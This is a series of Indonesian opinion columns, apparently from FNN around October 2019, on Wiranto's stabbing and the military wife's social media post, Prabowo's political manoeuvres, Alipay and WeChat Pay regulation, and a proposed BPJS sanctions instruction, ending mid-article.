25 tahun 2014 tentang Hukum Disiplin Militer, menurutnya mengatur "segala perbuatan yang bertentangan dengan perintah kedinasan, peraturan kedinasan, atau perbuatan yang tidak sesuai dengan Tata Tertib Militer". Meskipun tanggung jawab tentara alias suami, Irma Nasution juga dinyatakan bertanggung jawab atas dirinya sendiri, sehingga Kepala Staf Angkatan Darat melimpahkan urusan Irma ke ranah sipil, alias kepada polisi. Apa yang ingin kita pahami lebih dalam dari peristiwa ini? Pertama, jika postingan Irma "Jangan Cemen Pak..., kejadianmu tak sebanding dengan berjuta nyawa yang melayang" benar ditujukan pada Wiranto, sebagaimana juga postingan yang lebih nyata dari istri tentara lainnya istri (Peltu (AU) YNS (dan juga istri Sersan (AD) Z), maka kita dapat melihat bahwa perempuan pendamping tentara di era ini sangat akrab dengan media sosial yang berlatarbelakang politik. Beberapa waktu lalu, Uli Panjaitan, anaknya Luhut Panjaitan dan istri tentara jenderal juga, pernah terlibat adu argumen di medsos soal politik terhadap Erwin Aksa, ketua Golkar. Mungkin ini sebuah keniscayaan bahwa masyarakat kita sebagai pengguna medsos tidak membedakan lagi perempuan atau laki atau istri tentara atau istri tukang sayur, semuanya sudah menjadi nitizen aktif dalam virtual world. Kedua, jika hukuman yang diterima Kolonel Suhendi berupa pemecatan dari jabatam Dandim dan dihukum kurungan atas perbuatan istrinya, lalu mengapa istrinya juga memiliki tanggung jawab atas perbuatannya? Ini mungkin pertanyaan standar buat militer. Tentu saja anggota keluarga militer yang bukan militer terhubung dengan hukum sipil. Namun, dalam perkara menyangkut politik negara, bukankah sebaiknya sanksi militer yang diterima suami cukup untuk itu? Ketiga, bagaimana hak- hak perempuan vs. laki- laki dalam lingkungan militer? Apakah memang kontrak kehidupan militer tetap seperti dahulu kala di mana isu emanspasi perempuan tunduk pada kepentingan militer itu? atau adakah kebebasan perempuan dalam lingkungan keluarga militer yang masih mungkin dikembangkan terkait politik? Pertanyaan ini penting dikembangkan mengingat karir politik perempuan saat ini menjadi agenda pokok bangsa kita. Tuntutan 30% kuota perempuan dalam politik hanya tercapai 20%. Itupun banyak diisi oleh perempuan-perempuan yang di luar maksud pemberdayaan kaum perempuan (just presence not essence). Sehingga kita berharap istri-istri tentara bisa menjadi sumber rekrutmen ke depan. Kita menyaksikan misalnya, istri SBY, alm. Ani Yudhoyono, berhasil membangun partai besar dari nol. Bagaimana naisib bangsa kita jika istri-istri tentara kembali di bawah kendali suami 100%? Penutup Mencermati kasus Irma Nasution tentu penting dilakukan secara hati-hati. Irma Nasution ini bukanlah Irma Nasution binti A. H. Nasution yang masih kecil. Irma ini adalah istri kolonel, artinya istri dengan status sosial yang sangat tinggi. Sebagai orang cerdas dan punya sensitifitas perempuan, mungkin Irma melihat kondisi politik saat ini yang tidak sesuai harapannya. Dan, bisa pula dia melihat Wiranto hanyalah politisi gaek, yang gagal mengendalikan stabilitas politik selama ini. Jadi bukan Wiranto eks tentara. Dalam frame seperti ini tentu saja Irma tidak meletakkan pikirannya pada perlawanan vertikal terhadap kekuasaan, meskipun Wiranto berkuasa dalam kekuasaan sipil. Tentara sebagai alat negara, bukan alat kekuasaan, tentu saja tidak tunduk pada politik kekuasaan. Hal itu yang membuat tentara paska reformasi masih dipisahkan dari proses dipilih maupun memilih dalam pemilu. Namun, jika kita mencurigai pikiran Irma Nasution sebagai bentuk perwakilan pikiran2 istri tentara, maka sebuah gelombang besar keresahan kelompok militer terhadap keadaan politik saat ini, mungkin saja eksis. Sebab, hampir 5 tahun rezim Jokowi, stabilitas politik selalu berguncang, khususnya ketegangan kelompok sosial dan matinya kebebasan ekspresi masyarakat sipil. Kita tentu prihatin atas kekerasan yang dialami Wiranto, semoga beliau lekas sembuh. Sekaligus berharap Wiranto bersimpati pada kematian 5 mahasiswa yang berdemonstrasi serta kematian para pemuda2 dalam demonstrasi lainnya, terlebih kematian orang2 Bugis dan Padang di Wamena beberapa waktu lalu. Semoga kasus Irma Nasution ini menjadi jalan bagi kita mengetahui apa yang sedang terjadi dalam masyarakat kita. Horas Irma, kalau orang-orang Kerawang menawarkan suamimu jadi Bupati Kerawang, anak2 Medan pun siap menawarkan kamu jadi Walikota di Medan. Horas...

Prabowo Minta Jabatan?

Saya selalu melihat Pak Prabowo adalah orang yang tulus. Mencintai Indonesia lebih dari hidupnya. Pak Prabowo itu tidak pernah bisa melupakan kawan. Beliau juga bukan orang yang pendendam. Oleh Naniek S. Deyang Jakarta, FNN - Saya tahu persis Pak Prabowo itu orang yang malu bicara jabatan dan uang. Jadi ketika orang bilang Prabowo datang ke Istana, bertemu Bu Mega, bertemu Surya Paloh dan mungkin bertemu yang lain, saya yakin dia nggak minta jabatan. Bertahun-tahun, kalau saya bertemu Pak Prabowo, pasti yang dibicarakan adalah keutuhan bangsa. Kesedihannya atas nasib rakyat Indonesia, karena masih banyak yang miskin. Sumber daya alam yang tereksploitasi gila-gilaan, tetapi tidak dinikmati oleh rakyat. Pokoknya mau duduk sampai berapa jam pun dengan Pak Prabowo, yang diomongkan pasti seputar itu-itu juga. Bahkan suka sekali diulang -ulang lagi. Kalau sudah bicara tentang kesejahteraan rakyat, maka suaranya pasti bakal meninggi dan emosional. Saya bicara atau menulis ini tidak mewakili siapapun. Saya bukan orang Partai Gerindra. Saya juga tidak bekerja di perusahaan-perusahaan milik Pak Prabowo. Saya sangat mengagumi kecintaan Pak Prabowo yang luar biasa besar kepada Indonesia dan keutuhan NKRI. Namun demikian, dia juga memang bukan manusia yang sempurna. Ada juga sisi kelemahahan yang dimiliki oleh Pak Prabowo. Kelemahan itulah yang menjadi salah satu penyebab kekalahannya dalam beberapa kali pertarungan di Pilpres. Apa saja kelemahannya? Namun pada kesempatan ini, saya tidak tertarik untuk membahas sisi kelemahannya Pak Prabowo. Saya lebih tertarik membahas beberapa kelebihannya yang saya ketahui. Saya selalu melihat beliau adalah orang yang tulus. Mencintai Indonesia lebih dari hidupnya. Pak Prabowo itu tidak pernah melupakan kawan. Beliau juga bukan seorang yang pendendam. Jadi, meski Pak Prabowo keliling ke Surya Paloh, Bu Megawati, Ketua Umum PPP dan lain-lain, saya haqul yakin dia nggak akan pernah meninggalkan PAN dan PKS. Pak Prabowo itu punya hubungan perkawanan yang luar biasa istimewa dengan Ketua Dewan Syuro PKS, Ustazd Salim Segaf Al-Jufri. Demikian juga dengan Pak Amien Rais (pendiri PAN). Waktu Pak Amien diperiksa di Polda, dan lama tidak selesai-selesai, Pak Prabowo terlihat sangat pilu dan stress. Lalu semua orang -orang penting ditelepon, agar mengusahakan Pak Amien segera disudahi pemeriksaannya. Pak Amien sendiri kalau sama Pak Prabowo sadah seperti ke adiknya sendiri. Begitu juga hubungan Pak Prabowo dengan Pak SBY. Hormatnya sama Pak SBY minta ampun. Saat Pilpres lalu misalnya, setiap kali Pak SBY minta bertemu, maka Pak Prabowo memilih untuk mendatangi Pak SBY di rumanya. Padahal Pak Prabowo ketika itu adalah Capres. Meski dilarang banyak orang, Pak Prabowo nggak peduli. Pak Prabowo selalu bilang "Beliau Pak SBY itu mantan Presiden, dan senior saya. Biar saya saja yang mendatangi Pak SBY, "uajarnya. Lalu dengan ulama? Tidak bergeser sedikitpun sikap hormatnya. Pak Prabowo selalu hormat kepada ulama. Juga tidak pernah meninggalkan ulama. Makanya lihatlah sikapnya kepada Haeres, UAS, dan ulama lain. Apakah Pak Prabowo pernah menghujat ulama? Tidak kan? Ini hanya catatan pribadi saya, mau dibaca, ya monggo, nggak dibaca juga, ya silahkan saja. Nggak percaya juga nggak apa-apa. Bully saja terus Pak Prabowo. Soalnya kalau membully Pak Prabowo, pasti anda-anda juga nggak bakalan dilaporkan ke polisi. Jadi, bully saja sesuka hatinya teman-teman. Hitung-hitung buat pelampiasan, karena nggak bisa membully penguasa Penulis adalah Wartawan Senior

Alipay dan WeChat Pay Masih Menanti Tahun Depan

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Belakangan ini viral di media sosial tentang beroperasinya dompet digital China, Alipay. Dalam berita viral itu menyebut Alipay, anak perusahaan Alibaba China, disahkan menjadi alat bayar nontunai di Indonesia. Mereka tidak menggunakan nama "Alipay" di sini tapi menggunakan nama "DANA" supaya tidak dicurigai rakyat. Serta menggandeng EMTEK Group. “Dengan disahkan Alipay maka sirnalah kedaulatan keuangan di Republik Indonesia karena Alipay adalah e-money asing pertama yang disetujui pemerintah,” begitu sang pemosting kabar itu yang viral di Facebook dan WhattApps. Benarkah kabar itu? Kerja sama PT Elang Mahkota Teknologi Tbk. (EMTEK) dan Ant Financial (Alipay) memang sudah terjadi sejak tahun lalu. Pada 21 Maret 2018, keduanya meluncurkan aplikasi uang elektronik bertajuk DANA. Ini adalah sistem yang terintegrasi dengan aplikasi lain atau open platform. Uang yang disimpan di DANA bisa digunakan di merchant lain yang menjadi mitranya. DANA memanfaatkan lisensi e-money PT Espay Debit Indonesia Koe (Espay) yang telah diakuisisi Emtek pada awal 2017. Oleh sebab itu, untuk isi ulang (top up) DANA, baru bisa dilakukan melalui Bank Virtual Account. Sejauh ini, DANA masih memproses perizinan ke Bank Indonesia (BI) agar bisa melakukan top up secara tunai atau offline seperti Alfamart, Alfamidi, dan sebagainya. EMTEK juga mengajukan izin untuk kode Quick Response (QR) supaya bisa menyasar pelanggan offline. Saat ini, DANA baru hadir dalam versi beta di BBM (Blackberry Messenger). Dengan begitu, pengguna harus mengunduh BBM terlebih dulu, baru bisa mengakses DANA pada tab ‘discover’. Masa Transisi Dompet elektronik asal China tak cuma Alipay. WeChat Pay juga sudah masuk ke sini. Kedua dompet digital ini beroperasi di Indonesia bekerjasama dengan PT Alto Halo Network Digital (ADHI), entitas anak lembaga switching PT Alto Network. Alto Halo telah menjadi mitra resmi WeChat Pay sejak 2017, meski operasinya baru berlangsung pada Januari 2018. Sedangkan dengan Alipay, perseroan telah bekerjasama sejak November 2018 dan langsung memulai operasinya. Operasi Alipay dan WeChat Pay memang kontroversial, sebab dua dompet elektronik berbasis QR Code asing ini wajib bekerjasama dengan bank umum kegiatan usaha (BUKU) 4 untuk beroperasi di Indonesia. Sementara Alto Halo adalah merchant agregator. Kerjasama dengan BUKU 4 dilakukan guna menjamin kepastian penyelesaian transaksi, sebab pelaku asing punya kewajiban untuk menempatkan dana floating minimum 30% di BUKU 4. Deputi Gubernur Bank Indonesia, Sugeng, mengatakan mereka diberikan waktu untuk menyesuaikan ketentuan yang berlaku hingga Januari 2020 mendatang. Ini seiring dengan terbitnya Peraturan Dewan Gubernur Bank Indonesia 21/18/PADG/2019 tentang Implementasi Standar Nasional Quick Response Code untuk pembayaran. “Semua transaksi pembayaran berbasis kode QR mesti memenuhi standar QRIS (QR Code Indonesia Standard) di mana kewajibannya akan mulai berlaku pada Januari 2020. Selama masa transisi, pelaku asing mesti meminta izin ke BI, dan memenuhi ketentuan bekerjasama dengan BUKU 4,” ujar Sugeng seperti dikutip Kontan, belum lama ini. Urusan Teknis Peraturan Bank Indonesia Nomor 20/6/PBI/2018 tentang Uang Elektronik telah mengatur penerbit asing mesti bekerja sama dengan BUKU 4 salah satunya untuk menyimpan floating money minimum 30% dari portofolionya di BUKU 4. Ketentuan ini bertujuan agar transaksi penerbit asing juga masuk dalam sistem keuangan nasional. Ada dua BUKU IV yang ingin bekerja sama dengan Alipay dan WeChat Pay. Bank itu adalah BRI dan BCA. Presiden Direktur BCA, Jahja Setiaatmadja, mengatakan belum dapat memastikan kapan finalisasi kerja sama itu. “Pembahasan teknikal dan pola kerja samanya masih berlangsung sambil kita mempersiapkan proses izin ke regulator,” ujar Jahja kepada Bisnis, Minggu (13/10). Sedangkan Direktur Bisnis Konsumer PT Bank Rakyat Indonesia Tbk., Handayani, mengatakan tengah menunggu izin dari bank sentral untuk menjadi acquiring dan accpetance atas kerja samanya dengan penerbit asing. Ia memperkirakan akhir tahun ini, izin tersebut bisa didapatkan. Jika proses perizinan berjalan lancar, nantinya setiap mesin electronic data capture (EDC) BCA maupun BRI dapat digunakan untuk transaksi menggunakan Alipay dan WePay. Kedua aplikasi ini juga bisa digunakan untuk bertransaksi menggunakan Quick Response (QR) Code Indonesian Standard (QRIS) yang digagas BI jika sudah resmi menjalin kerja sama dengan bank di Indonesia. Sistem QRIS akan berlaku secara nasional mulai 1 Januari 2020. Sistem ini akan fokus pada penerapan QR Code payment model merchant presented mode (MPM), yakni penjual menampilkan QR Code pembayaran untuk dipindai pembeli ketika melakukan transaksi pembayaran. Nantinya seluruh aplikasi penyedia jasa pembayaran digital harus menyeragamkan QR Code mereka agar bisa membaca QRIS. Sederhananya, jika kebijakan ini berjalan para merchant tak perlu lagi memasang beragam QR Code karena hanya perlu satu QRIS yang bisa dibaca seluruh layanan pembayaran digital. Pasar uang elektronik nasional memang terakselerasi sedemikian cepat. Dari Januari 2019 hingga Juli 2019 nilai transaksi uang elektronik mencapai Rp69,04 triliun dengan volume transaksi sebanyak 2,73 miliar kali. Nilai transaksi tersebut tumbuh 184% dibandingkan periode yang sama tahun lalu senilai Rp24,25 triliun. Sedangkan volume transaksinya tumbuh 83,99% dibandingkan periode Januari 2018-Juli 2018 sebanyak 1,48 miliar kali. Di pasar yang terbuka, pemain dompet digital pun akan bisa masuk ke mana saja. Jadi, kenapa mesti tergaget-kaget?

Pengorbanan Jari Kelingking Wiranto dan Jualan Narasi Radikalisme

Oleh : Nasrudin Joha Jakarta, FNN - Akhirnya publik mendapat petunjuk baru yang mencerahkan. Petunjuk itu berasal dari Ketua Dewan Pembina Partai Golkar, Aburizal Bakrie, yang baru saja menjenguk Menteri Koordinator Bidang Politik, Hukum, dan Keamanan Wiranto di Rumah Sakit Pusat Angkatan Darat (RSPAD) Gatot Soebroto, Jakarta Pusat. Menurut Ical (sapaan akrab Aburizal Bakri) mengatakan bahwa jari kelingking Wiranto terluka karena menangkis serangan pelaku penusukan. Begitu ujar Aburizal seperti yang dikutip dari Antara, Minggu (13/10). Padahal, akibat luka jari kelingking Wiranto ini publik sejagat, jutaan rakyat Indonesia dibuat heboh, juga bingung. Pelaku awalnya diberitakan tukang mabok, tukang judi dingdong. Di pemberitaan yang lain dikabarkan taat ibadah, rajin sholat. Pelaku katanya terpapar ISIS, anggota JAD. Namun kemudian, muncul berita pelaku adalah korban penggusuran oleh Jokowi di Medan. Akibat luka jari kelingking Wiranto, Dandim Kendari dicopot dan istrinya dilaporkan polisi. Anggota TNI AU di Surabaya di sanksi. Muncul narasi bersihkan TNI dari radikalisme. Karena jari kelingking Wiranto, segenap elemen anak bangsa berubah menjadi sosok yang peduli pada kondisi negeri. Presiden langsung berdiri berpidato mengajak segenap elemen anak bangsa untuk menyatakan perang pada radikalisme, Menag, mengutuk radikalisme dan menekankan pentingnya reinterpretasi pemahaman agama. Ketua MPR mengutuk radikalisme, Prabowo mengutuk radikalisme, Megawati kirim karangan bunga untuk jari kelingking Wiranto, KSAD menjadi 'garang kepada dandim', penggerebekan dan penangkapan rakyat dilakukan oleh aparat di Bali, Bekasi dan Bandung. Bahkan, hingga Yakult selaku pimpinan Bani Majengjeng Hemereketehe ikut menebar fitnah dan tudingan berdalih narasi radikalisme. Padahal, untuk kasus Wamena itu yang luka bukan hanya jari kelingking. Bahkan, bukan hanya meninggal biasa, atau karena ditusuk kunai, tetapi meninggal karena dibakar hidup-hidup, ada yang mati setelah diperkosa. Mana suara Jokowi? Mana suara Menag? Mana suara ketua MPR yang kala itu juga ketua DPR? Mana karangan bunga Mega untuk korban Wamena? Mana suara Prabowo? Mana pidato KSAD yang tegas pada pelaku genosida Wamena ? Mana itu Yakult yang sok paling NKRI ? Terima kasih Bang Ical, terim kasih atas pencerahannya karena memberi kabar luka jari kelingking ini kami segenap rakyat Indonesia tak lagi khawatir tentang usus yang dipotong, darah mengucur 3,5 liter, dan yang lebih penting kami tidak perlu khawatir dan mengindahkan narasi radikalisme. Pengorbanan jari kelingking Wiranto ini layak untuk dikenang dan diapresiasi oleh segenap bangsa dan seluruh tumpah darah Indonesia. Kelak, jika Wiranto meninggal dunia di atas pusaranya perlu untuk dibangun 'Monumen Jari Kelingking', dalam bentuk patung jari kelingking berukuran besar. Di atas pusara Wiranto, ditulis pesan bagi segenap anak bangsa: " di sini telah ditanam jasad yang sangat berjasa mengorbankan jari kelingkingnya demi menjaga kedaulatan negara dari ancaman radikalisme." [].

Surat Terbuka buat Presiden Joko Widodo, INPRES BPJS? JANGAN. PLEASE, DEH!

Oleh Edy Mulyadi (Wartawan Senior) Jakarta, FNN - Pak Presiden Joko Widodo, saya mau tanya, kabarnya sampeyan tengah menyiapkan Instruksi Presiden (Inpres) yang menetapkan penunggak iuran BPJS Kesehatan tidak bisa mengakses pelayanan publik. Benarkah? Pak Joko, kabarnya, aturan ini bakal mengatur penunggak iuran BPJS Kesehatan tidak akan bisa memperpanjang paspor, SIM, mengurus anak sekolah, tidak bisa mengajukan kredit perbankan, hingga tak bisa mengurus administrasi pertanahan. Benarkah? Kata Direktur Utama PT BPJS Fahmi Idris, Inpres yang bakal sampeyan terbitkan itu kabarnya bertujuan untuk meningkatkan kolektibilitas iuran BPJS Kesehatan. Benarkah? Draft Inpres itu, kabarnya, tengah disiapkan Kantor Kemenko Pembangunan Manusia dan Kebudayaan (PMK). Benarkah? Mas Joko (biarkan saya memanggil sampeyan dengan mas, biar terasa ‘lebih akrab’. Lagi pula, selisih usia kita tidak terpaut jauh, kan? Cuma sekitar lima tahun saja. Dan, yang lebih penting lagi, memanggil presidennya dengan ‘mas’ bukanlah pelanggaran hukum apalagi dituding terpapar radikalisme. Betul begitu, kan, mas?), saya ingin sedikit mengingatkan sampeyan. Pertama, bahwa iuran BPJS itu pada hakekatnya adalah premi asuransi yang dibayarkan peserta kepada perusahaan penyelenggaranya. Di belahan bumi mana pun, tidak ada secuil pun aturan yang mewajibkan rakyatnya ikut asuransi, apalagi membayar premi kepada perusahaan. Kedua, di belahan dunia mana pun, premi asuransi bukanlah pajak dan atau pendapatan negara bukan pajak (PNBP). Untuk dua jenis pungutan kepada rakyat tersebut, ada dasar hukumnya. Kita menyebut itu dengan Undang Undang. Salah satunya, UU nomor 6 tahun 1983 tentang Ketentuan Umum dan Tata Cara Perpajakan. Mungkin ada UU Perapajakan yang lebih baru, saya _Ndak tahu. Barangkali sampeyan bisa tanya sama Sri Mulyani, Menteri Keuangan terbalik negeri ini. _Ndak_ sulit, kan, mas Joko tanya kepada si mbak yang jadi anak buah sampeyan itu? Oya, saya juga mau mengingatkan sampeyan, mas Presiden, bahwa UU itu produk bersama antara Pemerintah dan DPR. Sampayan pasti tahu, kenapa pemerintah harus melibatkan DPR dalam membuat UU, kan? Ndak perlulah saya mengajari lagi, lha wong sampeyan pasti lebih tahu daripada saya. Ketiga, bahwa karena bukan pajak atau PNBP maka negara sama sekali tidak boleh memaksa rakyat membayar. Apalagi ini cuma premi perusahaan asuransi. Kalau negara sampai memaksa rakyat membayar, lalu apa bedanya pemerintahan sampeyan sekarang dengan Kompeni saat menjajah Indonesia? Maaf, lho ya, kalau saya langsung menyebut Kompeni. Maksudnya supaya lebih jelas saja dan ndak bertele-tele. Keempat, jika mas Joko jadi menerbitkan Inpres sanksi bagi pelanggar iuran BPJS tidak bisa memperolah layanan publik, ini kan lebih zalim lagi. Mosok sebagai Presiden sampeyan akan memerintahkan aparat negara menolak rakyat yang mau memperpanjang SIM, Paspor, mengurus anak sekolah, akses perbankan, hingga tak bisa mengurus administrasi pertanahan hanya karena menunggak iuran BPJS. Jangan begitulah, mas. Bukankah tugas aparat dan birokrasi negara memang untuk melayani rakyatnya? Saya ingatkan mungkin saja sampeyan lupa, bahwa menunggak iuran BPJS bukanlah tindakan kiriminal. Lha wong mereka yang jelas-jelas melanggar hukum saja masih berhak memperoleh pelayanan publik, kok. _Ndak_ percaya, lihat saja rekam jejak orang-orang di Senayan itu. Beberapa dari mereka (untuk tidak menyebut ‘banyak’) yang tersangkut masalah hukum? Tidak tanggung-tanggung, mereka mencuri uang rakyat dalam jumlah puluhan miliar, ratusan miliar, bahkan triliunan rupiah! Atau, mungkin sampeyan akan mengelak dengan mengatakan, lho orang-orang terhormat di Senayan itu belum terbukti secara hukum melakukan korupsi. Begitu? Alahhhh..., mas Joko, sampeyan lebih tahu permainan dan campur aduk antara soal hukum dan politik di negeri ini ketimbang saya. Kelima, kalau sampeyan jadi juga menerbitakn Inpres ini, mas Joko bisa diakegeorikan melanggar UU, lho. Minimal, sampeyan melanggar prosedur penerbitan peraturdan dan perundangan. Sebab, setiap aturan yang isinya memungut uang rakyat harus berbentuk UU, harus dibuat bersama-sama DPR. Lalu, pungutan itu harus benar-benar masuk ke kas negara, bukan kas perusahaan. Apalagi kalau tujuan diterbitkannya aturan tersebut hanya untuk memperbaiki kolektibilitas iuran BPJS. Keleru, mas, keleru! Keenam, sampeyan pasti masih ingat tujuan para bapak pendiri bangsa ini membentuk Indonesia, kan? Kalau lupa atau ndak sempat mencari referensinya, ini saya kutipkan paragraf keempat Pembukaan UUD 1945, konstitusi kita: "Kemudian daripada itu untuk membentuk suatu pemerintah negara Indonesia yang melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia dan untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa..." Jadi mas Joko, bapak-bapak pendiri bangsa membentuk negara yang amat kita cintai ini antara lain untuk melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia dan untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa. Nah, bagaimana mungkin rakyat bisa sejahtera kalau mereka tidak bisa bekerja narik ojek atau jadi sopir karena tidak bisa memperpanjang SIM hanya disebabkan telat membayar iuran BPJS? Bagaimana rakyat bisa cerdas kalau anak-anaknya tidak bisa melanjutkan sekolah hanya karena orang tuanya telat membayar iuran BPJS? Bagaimana kesejahteraan rakyat meeningkat, kalau mereka tidak bisa mengakses kredit perbankan untuk memulai atau mengembangkan usaha hanya karena menunggak iuran BPJS? Bagaimana rakyat bisa menjual lahan atau rumahnya, hanya karena telat membayar iuran BPJS? Padahal, bisa jadi mereka menjual lahannya yang cuma seuprit untuk melunasi tunggakan iuran BPJS. Ketujuh, saya ingin mengingatkan sampeyan, bahwa negara bertanggung jawab menjamin kesehatan seluruh warga negara. Ini amanat konstitusi, lho. Silakan baca pasal 34 ayat 2 UUD 1945 yang berbunyi, “ negara wajib memberikan jaminan kesehatan bagi seluruh rakyat Indonesia.” Jadi, berdasarkan konstitusi kita yang dalam sumpah jabatan sampeyan harus junjung tinggi itu, jelas-jelas Pemerintah wajib menjamin kesehatan seluruh rakyat Indonesia. Wajib! Jangan pula kewajiban ini Pemerintah manipulasi dengan membentuk perusahaan asuransi yang menarik premi dari rakyat, wajib plus sanksi-sanksinya pula! Saya serius, kalau sampai Inpres tertsebut terbit, artinya sampeyan bisa disebut melanggar UU bahkan konstitusi kita. Agar tidak lupa, dalam sumpah jabatan, mas Joko mengucapkan ini: “ Demi Allah, saya bersumpah akan memenuhi kewajiban sebagai Presiden/Wakil Presiden dengan sebaik-baiknya dan seadil-adilnya, memegang teguh Undang-Undang Dasar dan menjalankan semua undang-undang dengan selurus-lurusnya, serta berbakti kepada nusa dan bangsa.” Mas Joko, sumpah ini serius banget, lho. Berat! Karena siapa pun Presidennya yang mengucapkan sumpah ini, artinya dia sudah berjanji kepada rakyat Indonesia. Melanggar sumpah ini, bisa berujung pada pemakzulan. Sesuai Konstitusi kita, Presiden juga bisa diberhentikan di tengah jalan. Jadi, di negeri ini memakzulkan Presiden dan atau Wapres di masa jabatannya bukanlah tindakan inkonsititusional. Pasal Pasal 7A, menyebutkan: Presiden dan/atau Wakil Presiden dapat diberhentikan dalam masa jabatannya oleh Majelis Permusyawaratan Rakyat atas usul Dewan Perwakilan Rakyat, baik apabila terbukti telah melakukan pelanggaran hukum berupa pengkhianatan terhadap negara, korupsi, penyuapan, tindak pidana berat lainnya, atau perbuatan tercela maupun apabila terbukti tidak lagi memenuhi syarat sebagai Presiden dan/atau Wakil Presiden. Tapi, ah sudahlah. Aturan main pemberhentian Presiden di tengah masa jabatannya di pasal-pasal berikutnya dibuat begitu rumit, njelimet, berbelit. Singkat kata, nyaris tidak mugkin! Apalagi dengan komposisi anggota DPR sekarang, semuanya jadi nyaris mustahil! Tapi sebagai orang beragama, saya yakin sampeyan pasti paham dan mengerti benar, bahwa sumpah ini juga disaksikan para malaikat juga Allah Tuhan Yang Maha Berkuasa lagi Maha Perkasa. Allah akan minta pertanggungjawaban pelaku sumpah ini di akhirat kelak. Allah juga telah sediakan balasan, baik siksa yang amat pedih maupun ganjaran kenikmatan, atas orang yang bersumpah ini. Dan, semua balasan itu abadi, kekal, tidak berkesudahan. Tidak seperti masa jabatan di Indonesia yang maksimal hanya dua periode alias 10 tahun. Sungguh suatu sumpah yang tidak boleh dan bisa dianggap main-main. Atau, barangkali, maaf, sampeyan berpendapat, ah itu kan di akhirat. Masih lama. Masih bisa tobat, minta ampun kepada Allah. Tunggu dulu. Tidak ada yang tahu, kapan kiamat akan terjadi. Jangankan kiamat, setiap kita pun, tentu saja, termasuk sampeyan, tidak tahu kapan akan mati. Siapa yang bisa menjamin, sampeyan akan tetap hidup setelah menandatangani Inpres tersebut? Ndak ada, kan? Kalau sebagai Presiden sampeyan mau membantu menyelamatkan BPJS, masih ada bahkan banyak cara lain. Misalnya, sepertinya yang dipaparkan ekonom senior Rizal Ramli. Dia punya jurus-jurus jitu untuk menyelematkan BPJS tanpa harus memberatkan rakyat. Ndak perlu saya ulang di surat terbuka ini. Sampeyan bisa perintahkan staf untuk googling untuk mencarinya. Jadi, mas Joko please, deh, jangan terbitkan Inpres superngawur itu. Kalau semua ini terjadi, kasihan saya, saudara saya, tetangga saya, kenalan saya. Kasihani penduduk Pulau Jawa, Sumatera, Bali, Nusa Tenggara, Kalimantan, Maluku, Sulawesi, Papua, dan peduduk ratusan pulau lain. Kasihanilah kami, mas. Kasihanilah rakyat Indonesia! Dah, gitu aja! [*] Jakarta, 15 Oktober 2019

Deklarasi Oposisi Rocky Gerung, Siapa Mau Bergabung?

Oleh Hersubeno Arief Jakarta, FNN - Manuver dan pilihan politik Ketua Umum Partai Gerindra Prabowo membuat Rocky Gerung “ingkar” janji. Tanpa menunggu pelantikan presiden, dia sudah mengumumkan sikapnya: Oposisi terhadap Prabowo! Rocky bahkan berjanji akan berkeliling Indonesia, mengajak para kampret (mantan pendukung Prabowo) bergabung bersamanya. “Benar. Deklarasi sebagai oposisi terhadap Prabowo terpaksa saya majukan,” ujar Rocky dalam tayangan perdana resonansi.tv ( berbasis youtube ) Selasa (15/10). Bagi yang tidak paham konteks dan sikap politiknya, keputusan Rocky ini agak membingungkan. Pada kampanye pilpres lalu Rocky berjanji. "Pak Prabowo akan saya kritik 12 menit setelah dia dilantik, catat jejak digital hari ini," kata Rocky di hadapan ribuan alumni perguruan tinggi pendukung Prabowo-Sandi di Gedung Padepokan Pencak Silat TMII, Jakarta Timur, Sabtu (26/1/2019). Apa lacur ternyata Prabowo kalah. Seharusnya tidak ada pelantikan. Seharusnya Prabowo tetap bersama kampret. Bersama Rocky menjadi oposisi. Mengkritik pemerintah. Bukan dikritik. Namun melihat manuvernya dalam beberapa hari terakhir, semakin meyakinkan publik, Prabowo tidak akan pernah menjadi oposisi. Tidak akan timbul tenggelam bersama rakyat, seperti yang dia janjikan. Safari politiknya menunjukkan dia telah menjadi bagian terpenting dari pemerintahan Jokowi. Menjadi aktor utama mewakili kepentingan Megawati dan Jokowi. Jumat (11/10) Prabowo bertemu dengan Jokowi di Istana. Saat itu dia mengaku memenuhi undangan Jokowi. Kepada media secara diplomatis Prabowo menyatakan siap membantu Jokowi bila dibutuhkan. Namun seandainya tidak berada di kabinet, Gerindra akan loyal sebagai penyeimbang. Bukan oposisi. Basi-basi politisi yang sudah basi! Setelah bertemu Jokowi, Ahad malam (13/10) Prabowo melanjutkan safari politiknya. Secara mengejutkan dia bertandang ke rumah Ketua Umum Partai Nasdem Surya Paloh. Sebelumnya sulit membayangkan kedua figur ini bisa bertemu. Apalagi kemudian saling rangkul, peluk, tertawa bersama dan mengaku punya banyak kesamaan pandangan. Prabowo selama ini secara terbuka menyatakan ketidak-sukaannya terhadap Surya Paloh. Dia selalu menolak diwawancarai oleh Metro TV milik Surya. Prabowo menyebut Metro TV tidak punya akhlak dan pencetak kebohongan. Sebaliknya Metro TV juga selalu memberitakan Prabowo secara miring. Termasuk dalam editorialnya sebagai sikap resmi redaksi. Hubungan keduanya seperti anjing dan kucing. Seperti tokoh kartun legendaris Tom and Jerry. Tak pernah akur. “Permusuhan” keduanya terus berlanjut. Pada saat Prabowo bertemu Megawati dalam diplomasi nasi goreng, pada saat yang sama Surya menggelar pertemuan dengan Gubernur DKI Anies Baswedan. Setelah itu Surya maupun media miliknya Metro TV dan Media Indonesia mulai menyuarakan pentingnya oposisi. Surya juga mulai melakukan kritik dan bersuara miring terhadap beberapa kebijakan pemerintahan Jokowi. Pada pelantikan anggota DPR RI (2/10) terjadi drama politik yang cukup menarik. Mega tidak menyalami Surya. Padahal Surya sudah berdiri menyambutnya. Mustahil pertemuan Prabowo dengan Surya kali ini tanpa sepengetahuan dan restu Megawati. Mereka saat ini telah menjadi satu paket yang solid. Pemilihan ketua MPR adalah salah satu contohnya. Gerindra akhirnya sepakat mendukung Bambang Soesatyo sebagai ketua MPR setelah Prabowo menemui Megawati. Padahal sebelumnya mereka ngotot mengajukan Ahmad Muzani. Sehari kemudian, Senin malam (14/10) Prabowo bertemu dengan Ketua Umum PKB Muhaimin Iskandar. Setelah itu dia juga direncanakan akan bertemu dengan Ketua Umum Partai Golkar Airlangga Hartarto. Pertemuan Prabowo dengan para ketua umum partai pendukung Jokowi ini tentu saja sangat menarik dan menimbulkan tandatanya. Dalam kapasitas apa, dan 